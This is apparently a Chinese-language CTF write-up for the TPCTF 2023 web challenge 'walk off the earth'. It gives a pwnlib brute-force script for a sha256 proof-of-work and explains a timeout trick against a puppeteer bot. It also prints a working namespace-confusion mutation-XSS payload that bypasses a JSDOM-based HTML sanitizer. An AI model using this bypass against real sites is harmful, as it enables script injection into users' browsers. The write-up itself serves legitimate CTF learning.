2023 TPCTF WriteUp
2023-11-28
Write Up
walk off the earth
1. sha256 爆破
要实现 xss ,需要先爆破出 sha256
表达式
req.session.pow = random_bytes(8);
const { path, pow } = req.body;
(pow && typeof pow == 'string') && (sha256(req.session.pow + pow).slice(0, difficulty) == '0'.repeat(difficulty))
即 random_bytes(8) + ??? = 0000000(7)…
假设 ?
处为 8位,使用 pwnlib
的 mbruteforce
进行爆破,脚本如下:
base = '6dc4a026ee67675e'
from pwn import *
import hashlib
def test(suffix):
# Concatenate the base and suffix
data = base + suffix
# Calculate the SHA256 hash
hash_value = hashlib.sha256(data.encode()).hexdigest()
# Check if the hash value starts with '0000000(7)'
if hash_value.startswith('0000000'):
return True
else:
return False
if __name__=='__main__':
pwnlib.util.iters.mbruteforce(test, string.digits + string.ascii_letters + string.punctuation, 8,'fixed')
2. throw error 构造
2.1 构造位置确定
根据 visit.js
中给出的代码逻辑
我们可以在以下两个位置实现 throw error
并保证在 res 不被替换的情况下带出 flag
第一处:
await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 2000 });
第二处:
await page.waitForFunction(text => document.write(text), { timeout: 2000 },text);
-> (e instanceof puppeteer.ProtocolError && e.message.includes('Target closed'))
其中第二处对 error 的类型有限定
通过第二处带出 flag 其实为 walk off the solar system
一题的解
因此本题仅讨论通过第一处 throw error
带出 flag
2.2 命名空间混淆绕过 sanitize
由于在第一处 throw error
需要造成至少 2000 ms 的 timeout
我们需要通过 text arg 来完成对目标页面的脚本注入
但是已知 sanitize
函数会对 DOM node 的 tag
和 attributes
进行过滤
因此此处需要利用命名空间混淆来绕过过滤
命名空间混淆
如果在浏览器中提供以下 HTML
<form> Hello
<form> World
<img>
然后它将解析为 DOM
└──HTML
├──HEAD
└──BODY
└──FORM
├──#text: Hello World
└──IMG
在浏览器中,表单元素本身不能嵌套
如果它像上面给出的那样嵌套
它将从 DOM 中删除内部表单标签
但是嵌套表单标签在 JSDOM 中可以存在的
由于 JSDOM 中嵌套标签的解析不一致sanitize
会将其视为普通标签
但在浏览器中它会触发 XSS Script
该漏洞是
<form><math><mtext></form><form><mglyph><style></math><script>alert(10)</script>
然后JSDOM将其序列化为
<form><math><mtext><form><mglyph><style></math><script>alert(10)</script></style></mglyph></form></mtext></math></form>
但浏览器认为这是
<form><math><mtext><mglyph><style></style></mglyph></mtext></math><script>alert(10)</script></form>
该漏洞将解析为 DOM
└──HTML
├──HEAD
└──BODY
├──FORM
│ ├──math
│ │ └──mtext
│ │ └──mglyph
│ │ └──style
│ └──SCRIPT
│ └──#text: alert(10)
└──#text:
这是因为表单元素是另一个表单的直接子元素,这是不可能的
因此内部表单标签从 DOM 中删除了
然后,标签会关闭之前的标签,脚本标签会出现在外面
这样我们就实现了绕过 sanitize
payload
/note?text=<form><math><mtext></form><form><mglyph><style></math><audio src=x onerror=alert("xss");><script>alert("xss")</script><audio src=x onerror=alert("xss");>
该 payload 通过不断在页面进行弹窗使得页面超时从而得到 flag